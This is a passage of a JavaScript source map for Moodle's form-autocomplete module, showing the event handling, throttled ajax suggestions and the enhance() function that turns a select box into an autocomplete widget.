{\n // If the suggestion list is open, close it.\n pendingJsPromise.resolve(closeSuggestions(state));\n } else {\n pendingJsPromise.resolve();\n }\n // We handled this event, so prevent it.\n e.preventDefault();\n return false;\n }\n pendingJsPromise.resolve();\n return true;\n });\n // Support multi lingual COMMA keycode (44).\n inputElement.on('keypress', function(e) {\n\n if (e.keyCode === KEYS.COMMA) {\n if (options.tags) {\n // If we are allowing tags, comma should create a tag (or enter).\n addPendingJSPromise('keypress-' + e.keyCode)\n .resolve(createItem(options, state, originalSelect));\n }\n // We handled this event, so prevent it.\n e.preventDefault();\n return false;\n }\n return true;\n });\n // Support submitting the form without leaving the autocomplete element,\n // or submitting too quick before the blur handler action is completed.\n inputElement.closest('form').on('submit', function() {\n if (options.tags) {\n // If tags are enabled, create a tag.\n addPendingJSPromise('form-autocomplete-submit')\n .resolve(createItem(options, state, originalSelect));\n }\n\n return true;\n });\n inputElement.on('blur', function() {\n var pendingPromise = addPendingJSPromise('form-autocomplete-blur');\n window.setTimeout(function() {\n // Get the current element with focus.\n var focusElement = $(document.activeElement);\n var timeoutPromise = $.Deferred();\n\n // Only close the menu if the input hasn't regained focus and if the element still exists,\n // and regain focus if the scrollbar is clicked.\n // Due to the half a second delay, it is possible that the input element no longer exist\n // by the time this code is being executed.\n if (focusElement.is(document.getElementById(state.suggestionsId))) {\n inputElement.focus(); // Probably the scrollbar is clicked. Regain focus.\n } else if (!focusElement.is(inputElement) && $(document.getElementById(state.inputId)).length) {\n if (options.tags) {\n timeoutPromise.then(function() {\n return createItem(options, state, originalSelect);\n })\n .catch();\n }\n timeoutPromise.then(function() {\n return closeSuggestions(state);\n })\n .catch();\n }\n\n timeoutPromise.then(function() {\n return pendingPromise.resolve();\n })\n .catch();\n timeoutPromise.resolve();\n }, 500);\n });\n if (options.showSuggestions) {\n var arrowElement = $(document.getElementById(state.downArrowId));\n arrowElement.on('click', function(e) {\n var pendingPromise = addPendingJSPromise('form-autocomplete-show-suggestions');\n\n // Prevent the close timer, or we will open, then close the suggestions.\n inputElement.focus();\n\n // Handle ajax population of suggestions.\n if (!inputElement.val() && options.ajax) {\n require([options.ajax], function(ajaxHandler) {\n pendingPromise.resolve(updateAjax(e, options, state, originalSelect, ajaxHandler));\n });\n } else {\n // Else - open the suggestions list.\n pendingPromise.resolve(updateSuggestions(options, state, inputElement.val(), originalSelect));\n }\n });\n }\n\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n // Remove any click handler first.\n suggestionsElement.parent().prop(\"onclick\", null).off(\"click\");\n suggestionsElement.parent().on('click', `#${state.suggestionsId} [role=option]`, function(e) {\n var pendingPromise = addPendingJSPromise('form-autocomplete-parent');\n // Handle clicks on suggestions.\n var element = $(e.currentTarget).closest('[role=option]');\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n // Find the index of the clicked on suggestion.\n var current = suggestionsElement.children('[aria-hidden=false]').index(element);\n\n // Activate it.\n activateItem(current, state)\n .then(function() {\n // And select it.\n return selectCurrentItem(options, state, originalSelect);\n })\n .then(function() {\n return pendingPromise.resolve();\n })\n .catch();\n });\n var selectionElement = $(document.getElementById(state.selectionId));\n\n // Handle clicks on the selected items (will unselect an item).\n selectionElement.on('click', '[role=option]', function(e) {\n var pendingPromise = addPendingJSPromise('form-autocomplete-clicks');\n\n // Remove it from the selection.\n pendingPromise.resolve(deselectItem(options, state, $(e.currentTarget), originalSelect));\n });\n\n // When listbox is focused, focus on the first option if there is no focused option.\n selectionElement.on('focus', function() {\n updateActiveSelectionFromState(state);\n });\n\n // Keyboard navigation for the selection list.\n selectionElement.on('keydown', function(e) {\n var pendingPromise = addPendingJSPromise('form-autocomplete-keydown-' + e.keyCode);\n switch (e.keyCode) {\n case KEYS.RIGHT:\n case KEYS.DOWN:\n // We handled this event, so prevent it.\n e.preventDefault();\n\n // Choose the next selection item.\n pendingPromise.resolve(activateNextSelection(state));\n return;\n case KEYS.LEFT:\n case KEYS.UP:\n // We handled this event, so prevent it.\n e.preventDefault();\n\n // Choose the previous selection item.\n pendingPromise.resolve(activatePreviousSelection(state));\n return;\n case KEYS.SPACE:\n case KEYS.ENTER:\n // Get the item that is currently selected.\n var selectedItem = $(document.getElementById(state.selectionId)).children('[data-active-selection]');\n if (selectedItem) {\n e.preventDefault();\n\n // Unselect this item.\n pendingPromise.resolve(deselectItem(options, state, selectedItem, originalSelect));\n }\n return;\n }\n\n // Not handled. Resolve the promise.\n pendingPromise.resolve();\n });\n // Whenever the input field changes, update the suggestion list.\n if (options.showSuggestions) {\n // Store the value of the field as its last value, when the field gains focus.\n inputElement.on('focus', function(e) {\n var query = $(e.currentTarget).val();\n $(e.currentTarget).data('last-value', query);\n });\n\n // If this field uses ajax, set it up.\n if (options.ajax) {\n require([options.ajax], function(ajaxHandler) {\n // Creating throttled handlers free of race conditions, and accurate.\n // This code keeps track of a throttleTimeout, which is periodically polled.\n // Once the throttled function is executed, the fact that it is running is noted.\n // If a subsequent request comes in whilst it is running, this request is re-applied.\n var throttleTimeout = null;\n var inProgress = false;\n var pendingKey = 'autocomplete-throttledhandler';\n var handler = function(e) {\n // Empty the current timeout.\n throttleTimeout = null;\n\n // Mark this request as in-progress.\n inProgress = true;\n\n // Process the request.\n updateAjax(e, options, state, originalSelect, ajaxHandler)\n .then(function() {\n // Check if the throttleTimeout is still empty.\n // There's a potential condition whereby the JS request takes long enough to complete that\n // another task has been queued.\n // In this case another task will be kicked off and we must wait for that before marking htis as\n // complete.\n if (null === throttleTimeout) {\n // Mark this task as complete.\n M.util.js_complete(pendingKey);\n }\n inProgress = false;\n\n return arguments[0];\n })\n .catch(notification.exception);\n };\n\n // For input events, we do not want to trigger many, many updates.\n var throttledHandler = function(e) {\n window.clearTimeout(throttleTimeout);\n if (inProgress) {\n // A request is currently ongoing.\n // Delay this request another 100ms.\n throttleTimeout = window.setTimeout(throttledHandler.bind(this, e), 100);\n return;\n }\n\n if (throttleTimeout === null) {\n // There is currently no existing timeout handler, and it has not been recently cleared, so\n // this is the start of a throttling check.\n M.util.js_pending(pendingKey);\n }\n\n // There is currently no existing timeout handler, and it has not been recently cleared, so this\n // is the start of a throttling check.\n // Queue a call to the handler.\n throttleTimeout = window.setTimeout(handler.bind(this, e), 300);\n };\n\n // Trigger an ajax update after the text field value changes.\n inputElement.on('input', function(e) {\n var query = $(e.currentTarget).val();\n var last = $(e.currentTarget).data('last-value');\n // IE11 fires many more input events than required - even when the value has not changed.\n if (last !== query) {\n throttledHandler(e);\n }\n $(e.currentTarget).data('last-value', query);\n });\n });\n } else {\n inputElement.on('input', function(e) {\n var query = $(e.currentTarget).val();\n var last = $(e.currentTarget).data('last-value');\n // IE11 fires many more input events than required - even when the value has not changed.\n // We need to only do this for real value changed events or the suggestions will be\n // unclickable on IE11 (because they will be rebuilt before the click event fires).\n // Note - because of this we cannot close the list when the query is empty or it will break\n // on IE11.\n if (last !== query) {\n updateSuggestions(options, state, query, originalSelect);\n }\n $(e.currentTarget).data('last-value', query);\n });\n }\n }\n };\n\n /**\n * Create and return an unresolved Promise for some pending JS.\n *\n * @param {String} key The unique identifier for this promise\n * @return {Promise}\n */\n var addPendingJSPromise = function(key) {\n var pendingKey = 'form-autocomplete:' + key;\n\n M.util.js_pending(pendingKey);\n\n var pendingPromise = $.Deferred();\n\n pendingPromise\n .then(function() {\n M.util.js_complete(pendingKey);\n\n return arguments[0];\n })\n .catch(notification.exception);\n\n return pendingPromise;\n };\n\n return /** @alias module:core/form-autocomplete */ {\n // Public variables and functions.\n /**\n * Turn a boring select box into an auto-complete beast.\n *\n * @method enhance\n * @param {string} selector The selector that identifies the select box.\n * @param {boolean} tags Whether to allow support for tags (can define new entries).\n * @param {string} ajax Name of an AMD module to handle ajax requests. If specified, the AMD\n * module must expose 2 functions \"transport\" and \"processResults\".\n * These are modeled on Select2 see: https://select2.github.io/options.html#ajax\n * @param {String} placeholder - The text to display before a selection is made.\n * @param {Boolean} caseSensitive - If search has to be made case sensitive.\n * @param {Boolean} showSuggestions - If suggestions should be shown\n * @param {String} noSelectionString - Text to display when there is no selection\n * @param {Boolean} closeSuggestionsOnSelect - Whether to close the suggestions immediately after making a selection.\n * @param {Object} templateOverrides A set of templates to use instead of the standard templates\n * @return {Promise}\n */\n enhance: function(selector, tags, ajax, placeholder, caseSensitive, showSuggestions, noSelectionString,\n closeSuggestionsOnSelect, templateOverrides) {\n // Set some default values.\n var options = {\n selector: selector,\n tags: false,\n ajax: false,\n placeholder: placeholder,\n caseSensitive: false,\n showSuggestions: true,\n noSelectionString: noSelectionString,\n templates: $.extend({\n input: 'core/form_autocomplete_input',\n items: 'core/form_autocomplete_selection_items',\n layout: 'core/form_autocomplete_layout',\n selection: 'core/form_autocomplete_selection',\n suggestions: 'core/form_autocomplete_suggestions',\n }, templateOverrides),\n };\n var pendingKey = 'autocomplete-setup-' + selector;\n M.util.js_pending(pendingKey);\n if (typeof tags !== \"undefined\") {\n options.tags = tags;\n }\n if (typeof ajax !== \"undefined\") {\n options.ajax = ajax;\n }\n if (typeof caseSensitive !== \"undefined\") {\n options.caseSensitive = caseSensitive;\n }\n if (typeof showSuggestions !== \"undefined\") {\n options.showSuggestions = showSuggestions;\n }\n if (typeof noSelectionString === \"undefined\") {\n str.get_string('noselection', 'form').done(function(result) {\n options.noSelectionString = result;\n }).fail(notification.exception);\n }\n\n // Look for the select element.\n var originalSelect = $(selector);\n if (!originalSelect) {\n log.debug('Selector not found: ' + selector);\n M.util.js_complete(pendingKey);\n return false;\n }\n\n originalSelect.css('visibility', 'hidden').attr('aria-hidden', true);\n\n // Hide the original select.\n\n // Find or generate some ids.\n var state = {\n selectId: originalSelect.attr('id'),\n inputId: 'form_autocomplete_input-' + uniqueId,\n suggestionsId: 'form_autocomplete_suggestions-' + uniqueId,\n selectionId: 'form_autocomplete_selection-' + uniqueId,\n downArrowId: 'form_autocomplete_downarrow-' + uniqueId,\n items: [],\n };\n\n // Increment the unique counter so we don't get duplicates ever.\n uniqueId++;\n\n options.multiple = originalSelect.attr('multiple');\n if (!options.multiple) {\n // If this is a single select then there is no way to de-select the current value -\n // unless we add a bogus blank option to be selected when nothing else is.\n // This matches similar code in updateAjax above.\n originalSelect.prepend('<option>');\n }\n\n if (typeof closeSuggestionsOnSelect !== \"undefined\") {\n options.closeSuggestionsOnSelect = closeSuggestionsOnSelect;\n } else {\n // If not specified, this will close suggestions by default for single-select elements only.\n options.closeSuggestionsOnSelect = !options.multiple;\n }\n\n var originalLabel = $('[for=' + state.selectId + ']');\n // Create the new markup and insert it after the select.\n var suggestions = [];\n originalSelect.children('option').each(function(index, option) {\n suggestions[index] = {label: option.innerHTML, value: $(option).attr('value')};\n });\n\n // Render all the parts of our UI.\n var context = $.extend({}, options, state);\n context.options = suggestions;\n context.items = [];\n\n // Collect rendered inline JS to be executed once the HTML is shown.\n var collectedjs = '';\n\n var renderLayout = templates.render(options.templates.layout, {})\n .then(function(html) {\n return $(html);\n });\n\n var renderInput = templates.render(options.templates.input, context).then(function(html, js) {\n collectedjs += js;\n return $(html);\n });\n\n var renderDatalist = templates.render(options.templates.suggestions, context).then(function(html, js) {\n collectedjs += js;\n return $(html);\n });\n\n var renderSelection = templates.render(options.templates.selection, context).then(function(html, js) {\n collectedjs += js;\n return $(html);\n });\n\n return $.when(renderLayout, renderInput, renderDatalist, renderSelection)\n .then(function(layout, input, suggestions, selection) {\n originalSelect.hide();\n var container = originalSelect.parent();\n\n // Ensure that the data-fieldtype is set for behat.\n $(input).find('input').attr('data-fieldtype', 'autocomplete');\n\n container.append(layout);\n container.find('[data-region=\"form_autocomplete-input\"]').replaceWith(input);\n container.find('[data-region=\"form_autocomplete-suggestions\"]').replaceWith(suggestions);\n container.find('[data-region=\"form_autocomplete-selection\"]').replaceWith(selection);\n\n templates.runTemplateJS(collectedjs);\n\n // Update the form label to point to the text input.\n originalLabel.attr('for', state.inputId);\n // Add the event handlers.\n addNavigation(options, state, originalSelect);\n\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n // Hide the suggestions by default.\n suggestionsElement.hide().attr('aria-hidden', true);\n\n return;\n })\n .then(function() {\n // Show the current values in the selection list.\n return updateSelectionList(options, state, originalSelect);\n })\n .then(function() {\n return M.util.js_complete(pendingKey);\n })\n .catch(function(error) {\n M.util.js_complete(pendingKey);\n notification.exception(error);\n });\n }\n };\n});\n"],"names":["define","$","log","str","templates","notification","LoadingIcon","KEYS","uniqueId","Date","now","activateSelection","index","state","selectionElement","document","getElementById","selectionId","length","children","element","get","itemId","attr","Deferred","resolve","updateActiveSelectionFromState","activeElement","selectionRegion","activeId","activeValue","find","getActiveElementFromState","activeIndex","updateSelectionList","options","originalSelect","pendingKey","inputId","M","util","js_pending","items","newSelection","each","ele","label","prop","data","html","push","value","hasItemListChanged","js_complete","Promise","context","extend","render","then","js","replaceNodeContents","catch","exception","filter","item","indexOf","notifyChange","event","core_formchangechecker","set_form_changed","Event","createEvent","initEvent","dispatchEvent","deselectItem","selectedItemValue","remove","activateItem","inputElement","suggestionsElement","suggestionsId","globalIndex","scrollPos","offset","top","scrollTop","height","animate","promise","closeSuggestions","hide","updateSuggestions","query","matchingElements","suggestions","option","innerHTML","searchquery","caseSensitive","toLocaleLowerCase","replaceNode","show","node","text","tags","get_string","done","nosuggestionsstr","createItem","val","split","found","tagindex","tag","trim","multiple","append","createTextNode","selectCurrentItem","closeSuggestionsOnSelect","focus","updateAjax","e","ajaxHandler","pendingPromise","addPendingJSPromise","parentElement","selectId","parent","addIconToContainerRemoveOnCompletion","currentTarget","transport","selector","results","processedResults","processResults","existingValues","optionIndex","String","isArray","resultIndex","result","error","reject","addNavigation","on","pendingJsPromise","keyCode","showSuggestions","current","activateNextItem","ajax","require","preventDefault","activatePreviousItem","closest","window","setTimeout","focusElement","timeoutPromise","is","downArrowId","off","selectionsElement","activateNextSelection","activatePreviousSelection","selectedItem","throttleTimeout","inProgress","handler","arguments","throttledHandler","clearTimeout","bind","this","key","enhance","placeholder","noSelectionString","templateOverrides","input","layout","selection","fail","debug","css","prepend","originalLabel","collectedjs","renderLayout","renderInput","renderDatalist","renderSelection","when","container","replaceWith","runTemplateJS"],"mappings":";;;;;;;;;;AA0BAA,gCACI,CAAC,SAAU,WAAY,WAAY,iBAAkB,oBAAqB,qBAC9E,SAASC,EAAGC,IAAKC,IAAKC,UAAWC,aAAcC,iBAIvCC,UACM,GADNA,WAEO,GAFPA,WAGO,GAHPA,YAIQ,GAJRA,WAKO,GALPA,QAMI,GANJA,UAOM,GAPNA,WAQO,GAGPC,SAAWC,KAAKC,MAWhBC,kBAAoB,SAASC,MAAOC,WAEhCC,iBAAmBb,EAAEc,SAASC,eAAeH,MAAMI,cAGnDC,OAASJ,iBAAiBK,SAAS,wBAAwBD,WAE/DN,OAAgBM,OACTN,MAAQ,GACXA,OAASM,WAGTE,QAAUnB,EAAEa,iBAAiBK,SAAS,w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